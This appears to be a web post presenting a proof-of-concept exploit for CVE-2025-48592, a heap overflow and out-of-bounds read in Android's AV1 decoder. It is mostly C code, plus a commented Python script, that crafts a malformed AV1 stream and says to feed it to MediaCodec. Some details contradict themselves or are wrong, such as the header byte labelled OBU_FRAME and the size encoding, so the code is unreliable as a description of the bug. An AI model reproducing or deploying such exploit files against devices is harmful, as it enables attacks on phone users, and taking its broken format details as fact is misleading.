CVE-2025-48592 Android AV1解码器堆缓冲区溢出越界读取漏洞

// CVE-2025-48592 PoC - Android AV1 Decoder Heap Overflow // Generate malicious AV1 video stream to trigger OOB read in C2SoftDav1dDec #include <stdio.h> #include <stdlib.h> #include <string.h> // AV1 OBU (Open Bitstream Unit) header structure typedef struct { unsigned int forbidden_bit:1; unsigned int type:4; unsigned int extension_flag:1; unsigned int has_size:1; unsigned int reserved:1; } OBUHeader; // Malicious payload to trigger heap buffer overflow unsigned char* create_malicious_av1_payload(size_t* out_size) { // Craft OBU with oversized data to trigger OOB read unsigned char* payload = malloc(1024); memset(payload, 0, 1024); // OBU header - Frame header type payload[0] = 0x0A; // type=5 (OBU_FRAME), has_size=1 // Size field (large value to cause overflow) payload[1] = 0xFF; payload[2] = 0xFF; payload[3] = 0xFF; // Fill with data that will trigger OOB read when parsed memset(payload + 4, 0x41, 1020); // Pattern to identify leaked data *out_size = 1024; return payload; } // Simulate triggering the vulnerable code path void trigger_vulnerability() { size_t payload_size; unsigned char* malicious_data = create_malicious_av1_payload(&payload_size); // This would be called in the context of C2SoftDav1dDec::initDecoder // In real exploitation, the video would be processed by Android MediaCodec printf("[*] Malicious AV1 payload created: %zu bytes\n", payload_size); printf("[*] Send this payload to Android AV1 decoder via MediaCodec\n"); free(malicious_data); } int main() { printf("CVE-2025-48592 PoC - Android AV1 Decoder Heap Overflow\n"); printf("Target: C2SoftDav1dDec::initDecoder in frameworks/av\n"); printf("Vulnerability: Heap buffer overflow leading to OOB read\n\n"); trigger_vulnerability(); printf("\n[*] Note: This PoC demonstrates the concept.\n"); printf("[*] Actual exploitation requires Android device with vulnerable version.\n"); return 0; } // Python script to generate malicious AV1 file /* #!/usr/bin/env python3 import struct def generate_malicious_av1(): # Craft AV1 OBU with oversized payload obu_header = bytes([0x0A]) # OBU_FRAME with size size = struct.pack('>I', 0xFFFF) # Oversized length payload = b'\x41' * 0xFFFF # Fill data with open('malicious.av1', 'wb') as f: f.write(obu_header + size + payload) print(f"Generated malicious AV1 file: {len(obu_header + size + payload)} bytes") if __name__ == '__main__': generate_malicious_av1() */